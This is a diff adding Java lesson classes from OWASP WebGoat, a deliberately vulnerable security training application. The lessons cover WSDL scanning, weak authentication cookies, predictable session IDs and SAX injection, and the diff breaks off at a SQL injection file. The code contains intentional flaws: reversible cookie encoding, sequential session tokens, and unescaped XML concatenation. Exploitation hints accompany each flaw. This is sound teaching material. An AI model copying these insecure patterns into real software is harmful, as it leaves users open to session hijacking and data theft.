public String getInstructions(WebSession s)
{
String instructions =
"This form is an example of a customer support page. Using the form below try to:<br>"
+ "1) Send a malicious script to the website admin.<br>"
+ "2) Send a malicious script to a 'friend' from OWASP.<br>";
return (instructions);
}
private final static Integer DEFAULT_RANKING = new Integer(55);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the EmailScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Exploit Unchecked Email");
}
}

359
main/project/JavaSource/org/owasp/webgoat/lessons/WSDLScanning.java Normal file
View File

@ -0,0 +1,359 @@
/*
* Created on May 26, 2005
*
* TODO To change the template for this generated file go to
* Window - Preferences - Java - Code Style - Code Templates
*/
package org.owasp.webgoat.lessons;
import java.rmi.RemoteException;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
import javax.xml.namespace.QName;
import javax.xml.rpc.ParameterMode;
import javax.xml.rpc.ServiceException;
import org.apache.axis.client.Call;
import org.apache.axis.client.Service;
import org.apache.axis.encoding.XMLType;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.Option;
import org.apache.ecs.html.P;
import org.apache.ecs.html.Select;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.WebgoatContext;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author asmolen
*
* TODO To change the template for this generated type comment go to
* Window - Preferences - Java - Code Style - Code Templates
*/
public class WSDLScanning extends LessonAdapter
{
static boolean completed = false;
static boolean beenRestartedYet = false;
public final static String firstName = "getFirstName";
public final static String lastName = "getLastName";
public final static String loginCount = "getLoginCount";
public final static String ccNumber = "getCreditCard";
final static IMG CREDITS_LOGO = new IMG("images/logos/parasoft.jpg")
.setAlt("Parasoft").setBorder(0).setHspace(0).setVspace(0);
private static WebgoatContext webgoatContext;
/**
* We maintain a static reference to WebgoatContext, since this class
* is also automatically instantiated by the Axis web services module,
* which does not call setWebgoatContext()
* (non-Javadoc)
* @see org.owasp.webgoat.lessons.AbstractLesson#setWebgoatContext(org.owasp.webgoat.session.WebgoatContext)
*/
@Override
public void setWebgoatContext(WebgoatContext webgoatContext) {
WSDLScanning.webgoatContext = webgoatContext;
}
@Override
public WebgoatContext getWebgoatContext() {
return WSDLScanning.webgoatContext;
}
protected Category getDefaultCategory()
{
return Category.WEB_SERVICES;
}
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("Try connecting to the WSDL with a browser or Web Service tool.");
hints
.add("Sometimes the WSDL will define methods that are not available through a web API. "
+ "Try to find operations that are in the WSDL, but not part of this API");
hints
.add("The URL for the web service is: http://localost/WebGoat/services/WSDLScanning <br>"
+ "The WSDL can usually be viewed by adding a ?WSDL on the end of the request.");
hints
.add("Look in the WSDL for the getCreditCard operation and insert the field in an intercepted request.");
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(120);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
public String getTitle()
{
return "WSDL Scanning";
}
public Object accessWGService(String serv, int port, String proc,
String parameterName, Object parameterValue)
{
String targetNamespace = "WebGoat";
try
{
QName serviceName = new QName(targetNamespace, serv);
QName operationName = new QName(targetNamespace, proc);
Service service = new Service();
Call call = (Call) service.createCall();
call.setOperationName(operationName);
call.addParameter(parameterName, serviceName, ParameterMode.INOUT);
call.setReturnType(XMLType.XSD_STRING);
call.setUsername("guest");
call.setPassword("guest");
call.setTargetEndpointAddress("http://localhost:" + port + "/WebGoat/services/"
+ serv);
Object result = call.invoke(new Object[] { parameterValue });
return result;
}
catch (RemoteException e)
{
e.printStackTrace();
}
catch (ServiceException e)
{
e.printStackTrace();
}
catch (Exception e)
{
e.printStackTrace();
}
return null;
}
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
Table t1 = new Table().setCellSpacing(0).setCellPadding(2);
if (s.isColor())
{
t1.setBorder(1);
}
TR tr = new TR();
tr.addElement(new TD("Enter your account number: "));
tr.addElement(new TD(new Input(Input.TEXT, "id", "101")));
t1.addElement(tr);
tr = new TR();
tr.addElement(new TD("Select the fields to return: "));
tr.addElement(new TD(new Select("field").setMultiple(true).addElement(
new Option(firstName).addElement("First Name")).addElement(
new Option(lastName).addElement("Last Name")).addElement(
new Option(loginCount).addElement("Login Count"))));
t1.addElement(tr);
tr = new TR();
Element b = ECSFactory.makeButton("Submit");
tr.addElement(new TD(b).setAlign("CENTER").setColSpan(2));
t1.addElement(tr);
ec.addElement(t1);
try
{
String[] fields = s.getParser().getParameterValues("field");
int id = s.getParser().getIntParameter("id");
Table t = new Table().setCellSpacing(0).setCellPadding(2)
.setBorder(1);
if (s.isColor())
{
t.setBorder(1);
}
TR header = new TR();
TR results = new TR();
int port = s.getRequest().getServerPort();
for (int i = 0; i < fields.length; i++)
{
header.addElement(new TD().addElement(fields[i]));
results.addElement(new TD()
.addElement((String) accessWGService("WSDLScanning", port,
fields[i], "acct_num", new Integer(id))));
}
if (fields.length == 0)
{
s.setMessage("Please select a value to return.");
}
t.addElement(header);
t.addElement(results);
ec.addElement(new P().addElement(t));
}
catch (Exception e)
{
}
try
{
A a = new A("services/WSDLScanning?WSDL", "WebGoat WSDL File");
ec
.addElement(new P()
.addElement("View the web services definition language (WSDL) to see the complete API:"));
ec.addElement(new BR());
ec.addElement(a);
//getLessonTracker( s ).setCompleted( completed );
if (completed && !getLessonTracker(s).getCompleted()
&& !beenRestartedYet)
{
makeSuccess(s);
beenRestartedYet = true;
}
else if (completed && !getLessonTracker(s).getCompleted()
&& beenRestartedYet)
{
completed = false;
beenRestartedYet = false;
}
// accessWGService("WSDLScanning", "getCreditCard", "acct_num", new Integer(101));
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
public String getResults(int id, String field)
{
try
{
Connection connection = DatabaseUtilities.getConnection("guest", getWebgoatContext());
PreparedStatement ps = connection
.prepareStatement("SELECT * FROM user_data WHERE userid = ?");
ps.setInt(1, id);
try
{
ResultSet results = ps.executeQuery();
if ((results != null) && (results.next() == true))
{
return results.getString(field);
}
}
catch (SQLException sqle)
{}
}
catch (Exception e)
{}
return null;
}
public String getCreditCard(int id)
{
String result = getResults(id, "cc_number");
if (result != null)
{
completed = true;
return result;
}
return null;
}
public String getFirstName(int id)
{
String result = getResults(id, "first_name");
if (result != null)
{
return result;
}
return null;
}
public String getLastName(int id)
{
String result = getResults(id, "last_name");
if (result != null)
{
return result;
}
return null;
}
public String getLoginCount(int id)
{
String result = getResults(id, "login_count");
if (result != null)
{
return result;
}
return null;
}
public Element getCredits()
{
return super.getCustomCredits("By Alex Smolen", CREDITS_LOGO);
}
}

383
main/project/JavaSource/org/owasp/webgoat/lessons/WeakAuthenticationCookie.java Normal file
View File

@ -0,0 +1,383 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import javax.servlet.http.Cookie;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.A;
import org.apache.ecs.html.B;
import org.apache.ecs.html.H1;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.P;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.*;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created October 28, 2003
*/
public class WeakAuthenticationCookie extends LessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
/**
* Description of the Field
*/
protected final static String AUTHCOOKIE = "AuthCookie";
/**
* Description of the Field
*/
protected final static String LOGOUT = "WACLogout";
/**
* Description of the Field
*/
protected final static String PASSWORD = "Password";
/**
* Description of the Field
*/
protected final static String USERNAME = "Username";
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
* @exception Exception
* Description of the Exception
*/
protected String checkCookie(WebSession s) throws Exception
{
String cookie = getCookie(s);
if (cookie != null)
{
if (cookie.equals(encode("webgoat12345")))
{
return ("webgoat");
}
if (cookie.equals(encode("aspect12345")))
{
return ("aspect");
}
if (cookie.equals(encode("alice12345")))
{
makeSuccess(s);
return ("alice");
} else
{
s.setMessage("Invalid cookie");
s.eatCookies();
}
}
return (null);
}
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
* @exception Exception
* Description of the Exception
*/
protected String checkParams(WebSession s) throws Exception
{
String username = s.getParser().getStringParameter(USERNAME, "");
String password = s.getParser().getStringParameter(PASSWORD, "");
if ((username.length() > 0) && (password.length() > 0))
{
String loginID = "";
if (username.equals("webgoat") && password.equals("webgoat"))
{
loginID = encode("webgoat12345");
} else if (username.equals("aspect") && password.equals("aspect"))
{
loginID = encode("aspect12345");
}
if (loginID != "")
{
Cookie newCookie = new Cookie(AUTHCOOKIE, loginID);
s.setMessage("Your identity has been remembered");
s.getResponse().addCookie(newCookie);
return (username);
} else
{
s.setMessage("Invalid username and password entered.");
}
}
return (null);
}
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
boolean logout = s.getParser().getBooleanParameter(LOGOUT, false);
if (logout)
{
s.setMessage("Goodbye! Your password has been forgotten");
s.eatCookies();
return (makeLogin(s));
}
try
{
String user = checkCookie(s);
if ((user != null) && (user.length() > 0))
{
return (makeUser(s, user, "COOKIE"));
}
user = checkParams(s);
if ((user != null) && (user.length() > 0))
{
return (makeUser(s, user, "PARAMETERS"));
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (makeLogin(s));
}
/**
* Description of the Method
*
* @param value
* Description of the Parameter
* @return Description of the Return Value
*/
private String encode(String value)
{
// <START_OMIT_SOURCE>
StringBuffer encoded = new StringBuffer();
for (int i = 0; i < value.length(); i++)
{
encoded.append(String.valueOf((char) (value.charAt(i) + 1)));
}
return encoded.reverse().toString();
// <END_OMIT_SOURCE>
}
/**
* Gets the category attribute of the WeakAuthenticationCookie object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.SESSION_MANAGEMENT;
}
/**
* Gets the cookie attribute of the CookieScreen object
*
* @param s
* Description of the Parameter
* @return The cookie value
*/
protected String getCookie(WebSession s)
{
Cookie[] cookies = s.getRequest().getCookies();
for (int i = 0; i < cookies.length; i++)
{
if (cookies[i].getName().equalsIgnoreCase(AUTHCOOKIE))
{
return (cookies[i].getValue());
}
}
return (null);
}
/**
* Gets the hints attribute of the CookieScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("The server authenticates the user using a cookie, if you send the right cookie.");
hints.add("Is the AuthCookie value guessable knowing the username and password?");
hints.add("Add 'AuthCookie=********;' to the Cookie: header using "
+ "<A href=\"http://www.owasp.org/development/webscarab\">WebScarab</A>.");
hints.add("After logging in as webgoat a cookie is added. 65432ubphcfx<br/>" +
"After logging in as aspect a cookie is added. 65432udfqtb<br/>" +
"Is there anything similar about the cookies and the login names?");
return hints;
}
/**
* Gets the instructions attribute of the WeakAuthenticationCookie object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "Login using the webgoat/webgoat account to see what happens. You may also try aspect/aspect. When you understand the authentication cookie, try changing your identity to alice.";
return (instructions);
}
private final static Integer DEFAULT_RANKING = new Integer(90);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the CookieScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Spoof an Authentication Cookie");
}
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeLogin(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec.addElement(new H1().addElement("Sign In "));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
tr.addElement(new TH().addElement(
"Please sign in to your account. See the OWASP admin if you do not have an account.").setColSpan(2)
.setAlign("left"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("*Required Fields").setWidth("30%"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr);
TR row1 = new TR();
TR row2 = new TR();
row1.addElement(new TD(new B(new StringElement("*User Name: "))));
row2.addElement(new TD(new B(new StringElement("*Password: "))));
Input input1 = new Input(Input.TEXT, USERNAME, "");
Input input2 = new Input(Input.PASSWORD, PASSWORD, "");
row1.addElement(new TD(input1));
row2.addElement(new TD(input2));
t.addElement(row1);
t.addElement(row2);
Element b = ECSFactory.makeButton("Login");
t.addElement(new TR(new TD(b)));
ec.addElement(t);
return (ec);
}
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @param user
* Description of the Parameter
* @param method
* Description of the Parameter
* @return Description of the Return Value
* @exception Exception
* Description of the Exception
*/
protected Element makeUser(WebSession s, String user, String method) throws Exception
{
ElementContainer ec = new ElementContainer();
ec.addElement(new P().addElement("Welcome, " + user));
ec.addElement(new P().addElement("You have been authenticated with " + method));
ec.addElement(new P().addElement(ECSFactory.makeLink("Logout", LOGOUT, true)));
ec.addElement(new P().addElement(ECSFactory.makeLink("Refresh", "", "")));
return (ec);
}
public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO);
}
}

275
main/project/JavaSource/org/owasp/webgoat/lessons/WeakSessionID.java Normal file
View File

@ -0,0 +1,275 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import javax.servlet.http.Cookie;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.A;
import org.apache.ecs.html.B;
import org.apache.ecs.html.H1;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Rogan Dawes <a href="http://dawes.za.net/rogan">Rogan Dawes</a>
* @created March 30, 2005
*/
public class WeakSessionID extends LessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
/**
* Description of the Field
*/
protected final static String SESSIONID = "WEAKID";
/**
* Description of the Field
*/
protected final static String PASSWORD = "Password";
/**
* Description of the Field
*/
protected final static String USERNAME = "Username";
protected static List<String> sessionList = new ArrayList<String>();
protected static long seq = Math.round(Math.random() * 10240) + 10000;
protected static long lastTime = System.currentTimeMillis();
/**
* Gets the credits attribute of the AbstractLesson object
*
* @return The credits value
*/
public Element getCredits()
{
return super.getCustomCredits("By Rogan Dawes of ", ASPECT_LOGO);
}
protected String newCookie(WebSession s)
{
long now = System.currentTimeMillis();
seq++;
if (seq % 29 == 0)
{
String target = encode(seq++, lastTime + (now - lastTime) / 2);
sessionList.add(target);
s.setMessage(target);
if (sessionList.size() > 100)
sessionList.remove(0);
}
lastTime = now;
return encode(seq, now);
}
private String encode(long seq, long time)
{
return new String(Long.toString(seq) + "-" + Long.toString(time));
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
try
{
String sessionid = s.getCookie(SESSIONID);
if (sessionid != null && sessionList.indexOf(sessionid) > -1)
{
return makeSuccess(s);
}
else
{
return makeLogin(s);
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (null);
}
/**
* Gets the category attribute of the WeakAuthenticationCookie object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.SESSION_MANAGEMENT;
}
/**
* Gets the hints attribute of the CookieScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("The server skips authentication if you send the right cookie.");
hints.add("Is the cookie value predictable? Can you see gaps where someone else has acquired a cookie?");
hints.add("Try harder, you brute!");
hints.add("The first part of the cookie is a sequential number, the second part is milliseconds.");
hints.add("After the 29th try, the skipped identifier is printed to your screen. Use that to login.");
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(90);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the CookieScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Hijack a Session");
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeLogin(WebSession s)
{
ElementContainer ec = new ElementContainer();
String weakid = s.getCookie(SESSIONID);
if (weakid == null)
{
weakid = newCookie(s);
Cookie cookie = new Cookie(SESSIONID, weakid);
s.getResponse().addCookie(cookie);
}
ec.addElement(new H1().addElement("Sign In "));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
.setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
String username = null;
String password = null;
try
{
username = s.getParser().getStringParameter(USERNAME);
}
catch (ParameterNotFoundException pnfe)
{}
try
{
password = s.getParser().getStringParameter(PASSWORD);
}
catch (ParameterNotFoundException pnfe)
{}
if (username != null || password != null)
{
s.setMessage("Invalid username or password.");
}
TR tr = new TR();
tr.addElement(new TH().addElement("Please sign in to your account.")
.setColSpan(2).setAlign("left"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("*Required Fields").setWidth("30%"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr);
TR row1 = new TR();
TR row2 = new TR();
row1.addElement(new TD(new B(new StringElement("*User Name: "))));
row2.addElement(new TD(new B(new StringElement("*Password: "))));
Input input1 = new Input(Input.TEXT, USERNAME, "");
Input input2 = new Input(Input.PASSWORD, PASSWORD, "");
Input input3 = new Input(Input.HIDDEN, SESSIONID, weakid);
row1.addElement(new TD(input1));
row2.addElement(new TD(input2));
t.addElement(row1);
t.addElement(row2);
t.addElement(input3);
Element b = ECSFactory.makeButton("Login");
t.addElement(new TR(new TD(b)));
ec.addElement(t);
return (ec);
}
}

163
main/project/JavaSource/org/owasp/webgoat/lessons/WelcomeScreen.java Normal file
View File

@ -0,0 +1,163 @@
package org.owasp.webgoat.lessons;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.HtmlColor;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.Center;
import org.apache.ecs.html.Form;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.*;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created October 28, 2003
*/
public class WelcomeScreen extends Screen
{
/**
* Constructor for the WelcomeScreen object
*
* @param s Description of the Parameter
*/
public WelcomeScreen(WebSession s)
{
setup(s);
}
/**
* Constructor for the WelcomeScreen object
*/
public WelcomeScreen()
{}
public void setup(WebSession s)
{
// call createContent first so messages will go somewhere
Form form = new Form("attack", Form.POST).setName("form")
.setEncType("");
form.addElement(wrapForm(s));
TD lowerright = new TD().setHeight("100%").setVAlign("top").setAlign(
"left").addElement(form);
TR row = new TR().addElement(lowerright);
Table layout = new Table().setBgColor(HtmlColor.WHITE)
.setCellSpacing(0).setCellPadding(0).setBorder(0);
layout.addElement(row);
setContent(layout);
}
protected Element wrapForm(WebSession s)
{
if (s == null)
{
return new StringElement("Invalid Session");
}
Table container = new Table().setWidth("100%").setCellSpacing(10)
.setCellPadding(0).setBorder(0);
// CreateContent can generate error messages so you MUST call it before makeMessages()
Element content = createContent(s);
container.addElement(new TR().addElement(new TD().setColSpan(2)
.setVAlign("TOP").addElement(makeMessages(s))));
container.addElement(new TR().addElement(new TD().setColSpan(2)
.addElement(content)));
container.addElement(new TR());
return (container);
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
Element b = ECSFactory.makeButton("Start the Course!");
ec.addElement(new Center(b));
return (ec);
}
public Element getCredits()
{
return new ElementContainer();
}
/**
* Gets the instructions attribute of the WelcomeScreen object
*
* @return The instructions value
*/
protected String getInstructions()
{
String instructions = "Enter your name and learn how HTTP really works!";
return (instructions);
}
/**
* Gets the title attribute of the WelcomeScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Welcome to the Penetration Testing Course");
}
/* (non-Javadoc)
* @see session.Screen#getRole()
*/
public String getRole()
{
return AbstractLesson.USER_ROLE;
}
}

263
main/project/JavaSource/org/owasp/webgoat/lessons/WsSAXInjection.java Normal file
View File

@ -0,0 +1,263 @@
/*
* Created on Jun 1, 2005
*
* TODO To change the template for this generated file go to
* Window - Preferences - Java - Code Style - Code Templates
*/
package org.owasp.webgoat.lessons;
import java.io.IOException;
import java.io.StringReader;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.B;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.P;
import org.apache.ecs.html.PRE;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder;
import org.xml.sax.Attributes;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
import org.xml.sax.helpers.DefaultHandler;
import org.xml.sax.helpers.XMLReaderFactory;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author rdawes
*
* TODO To change the template for this generated type comment go to Window -
* Preferences - Java - Code Style - Code Templates
*/
public class WsSAXInjection extends LessonAdapter
{
private final static String PASSWORD = "password";
private String password;
private static String template1 = "<?xml version='1.0' encoding='UTF-8'?>\n"
+ "<wsns0:Envelope\n"
+ " xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'\n"
+ " xmlns:xsd='http://www.w3.org/2001/XMLSchema'\n"
+ " xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'\n"
+ " xmlns:wsns1='http://lessons.webgoat.owasp.org'>\n"
+ " <wsns0:Body>\n"
+ " <wsns1:changePassword>\n"
+ " <id xsi:type='xsd:int'>101</id>\n"
+ " <password xsi:type='xsd:string'>";
private static String template2 = "</password>\n"
+ " </wsns1:changePassword>\n" + " </wsns0:Body>\n"
+ "</wsns0:Envelope>";
static boolean completed;
protected Category getDefaultCategory()
{
return Category.WEB_SERVICES;
}
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("The backend parses the XML received using a SAX parser.");
hints.add("SAX parsers often don't care if an element is repeated.");
hints
.add("If there are repeated elements, the last one is the one that is effective");
hints
.add("Try injecting matching 'close' tags, and creating your own XML elements");
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(150);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
public String getTitle()
{
return "Web Service SAX Injection";
}
protected Element makeInputLine(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec.addElement(new P().addElement("Please change your password: "));
Input input = new Input(Input.TEXT, PASSWORD);
ec.addElement(input);
Element b = ECSFactory.makeButton("Go!");
ec.addElement(b);
return ec;
}
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{
ec.addElement(makeInputLine(s));
password = s.getParser().getRawParameter(PASSWORD, null);
PRE pre = new PRE();
String xml = template1;
xml = xml + (password == null ? "[password]" : password);
xml = xml + template2;
pre.addElement(HtmlEncoder.encode(xml));
ec.addElement(pre);
if (password != null)
{
ec.addElement(checkXML(s, xml));
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
private Element checkXML(WebSession s, String xml)
{
try
{
XMLReader reader = XMLReaderFactory.createXMLReader();
PasswordChanger changer = new PasswordChanger();
reader.setContentHandler(changer);
reader.parse(new InputSource(new StringReader(xml)));
if (!"101".equals(changer.getId()))
{
makeSuccess(s);
return new B(HtmlEncoder
.encode("You have changed the passsword for userid "
+ changer.getId() + " to '"
+ changer.getPassword() + "'"));
}
else
{
return new StringElement(
"You changed the password for userid 101. Try again.");
}
}
catch (SAXException saxe)
{
return new StringElement("The XML was not well formed: "
+ saxe.getLocalizedMessage());
}
catch (IOException ioe)
{
return new StringElement(ioe.getLocalizedMessage());
}
}
private static class PasswordChanger extends DefaultHandler
{
private static String PASSWORD_TAG = "password";
private static String ID_TAG = "id";
private String id = null;
private String password = null;
private StringBuffer text = new StringBuffer();
public void startElement(String uri, String localName, String qName,
Attributes atts) throws SAXException
{
text.delete(0, text.length());
}
public void characters(char[] ch, int start, int length)
throws SAXException
{
text.append(ch, start, length);
}
public void endElement(String uri, String localName, String qName)
throws SAXException
{
if (localName.equals(ID_TAG))
id = text.toString();
if (localName.equals(PASSWORD_TAG))
password = text.toString();
text.delete(0, text.length());
}
public void ignorableWhitespace(char[] ch, int start, int length)
throws SAXException
{
text.append(ch, start, length);
}
public String getId()
{
return id;
}
public String getPassword()
{
return password;
}
}
}

294
main/project/JavaSource/org/owasp/webgoat/lessons/WsSqlInjection.java Normal file
View File
